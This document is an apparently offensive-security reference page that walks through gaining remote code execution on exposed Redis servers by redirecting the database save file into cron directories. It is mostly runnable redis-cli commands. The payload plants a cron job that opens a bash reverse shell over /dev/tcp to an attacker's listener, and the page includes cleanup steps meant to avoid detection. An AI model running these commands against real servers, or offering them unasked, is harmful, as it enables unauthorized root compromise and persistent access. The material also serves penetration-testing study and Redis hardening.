# Redis RCE via Cron Job Write

- **URL:** https://hackindex.io/services/redis/exploitation/rce-cron
- **Path:** Redis > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/redis/exploitation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-03-14

Redis can write its in-memory dataset to any file on disk using CONFIG SET dir, CONFIG SET dbfilename, and BGSAVE. On Linux targets, redirect this write to `/var/spool/cron/crontabs/root` or `/etc/cron.d/` to plant a cron job that executes a reverse shell. The technique requires CONFIG access and write permission to the cron directory: typically available when Redis runs as root or when the cron directory is world-writable.

## Prerequisites Check

Before attempting, confirm all three conditions:

**1 - CONFIG access:**

```bash
redis-cli -h $TARGET_IP -p 6379 config get dir
```

Must return a directory path, not an error.

**2 - Write permission to /var/spool/cron/crontabs or /etc/cron.d:**

```bash
redis-cli -h $TARGET_IP -p 6379 config set dir /var/spool/cron/crontabs
```

If the response is `OK`, write is possible. If it returns an error, try `/etc/cron.d/` instead:

```bash
redis-cli -h $TARGET_IP -p 6379 config set dir /etc/cron.d
```

**3 - Redis user can write to the target path:** This usually requires Redis to be running as root. Check from any existing shell:

```bash
ps aux | grep redis
```

Or infer from a successful CONFIG SET to a root-owned directory.

## Step 1 - Record the Original Config

Save the current dir and dbfilename so you can restore them after exploitation:

```bash
redis-cli -h $TARGET_IP -p 6379 config get dir
redis-cli -h $TARGET_IP -p 6379 config get dbfilename
```

## Stage the Redis Cron RCE Payload

Start your listener:

```bash
nc -lvnp $LPORT
```

Write the cron payload into a Redis key. The newlines around the payload are required: they ensure the cron entry is not corrupted by Redis RDB file headers and footers:

```bash
redis-cli -h $TARGET_IP -p 6379 flushall
redis-cli -h $TARGET_IP -p 6379 set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\n\n"
```

## Step 3 - Redirect the DB Write to Cron

Point the save path at the cron directory and set the filename to `root`:

```bash
redis-cli -h $TARGET_IP -p 6379 config set dir /var/spool/cron/crontabs
redis-cli -h $TARGET_IP -p 6379 config set dbfilename root
redis-cli -h $TARGET_IP -p 6379 bgsave
```

For `/etc/cron.d/` (no filename restrictions, any name works):

```bash
redis-cli -h $TARGET_IP -p 6379 config set dir /etc/cron.d
redis-cli -h $TARGET_IP -p 6379 config set dbfilename redis-backdoor
redis-cli -h $TARGET_IP -p 6379 bgsave
```

Confirm the save completed:

```bash
redis-cli -h $TARGET_IP -p 6379 lastsave
```

The timestamp updates on success.

## Step 4 - Wait for Cron Execution

The `*/1 * * * *` schedule fires every minute. Wait up to 60 seconds for your listener to receive the connection.

If it does not fire, verify the cron file was written correctly. From an existing foothold:

```bash
cat /var/spool/cron/crontabs/root
```

The Redis RDB header and footer garbage around the cron entry is normal: crond parses the file and ignores lines it cannot interpret. The valid cron line executes regardless.

## Step 5 - Restore Original Config

After receiving your shell, clean up to avoid detection and prevent the server from writing the RDB to the wrong location on the next save:

```bash
redis-cli -h $TARGET_IP -p 6379 config set dir /var/lib/redis
redis-cli -h $TARGET_IP -p 6379 config set dbfilename dump.rdb
redis-cli -h $TARGET_IP -p 6379 flushall
redis-cli -h $TARGET_IP -p 6379 bgsave
```

Replace `/var/lib/redis` and `dump.rdb` with the values you recorded in Step 1.

## Why This Fails

- Redis is not running as root and cannot write to cron directories
- The target is running Ubuntu 16.10+: Ubuntu hardened cron parsing in newer releases to reject files with non-cron content, which the Redis RDB garbage triggers
- `CONFIG` is disabled via the `rename-command` directive in the Redis config
- `BGSAVE` fails because the save path is not writable

If cron write fails, try SSH key injection ([https://hackindex.io/services/redis/exploitation/rce-ssh-key](https://hackindex.io/services/redis/exploitation/rce-ssh-key)) or webshell write ([https://hackindex.io/services/redis/exploitation/webshell-write](https://hackindex.io/services/redis/exploitation/webshell-write)) instead.

## References

- [redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server) - n0b0dyCN Redis <=5.0.5 RCE tooling and technique reference.
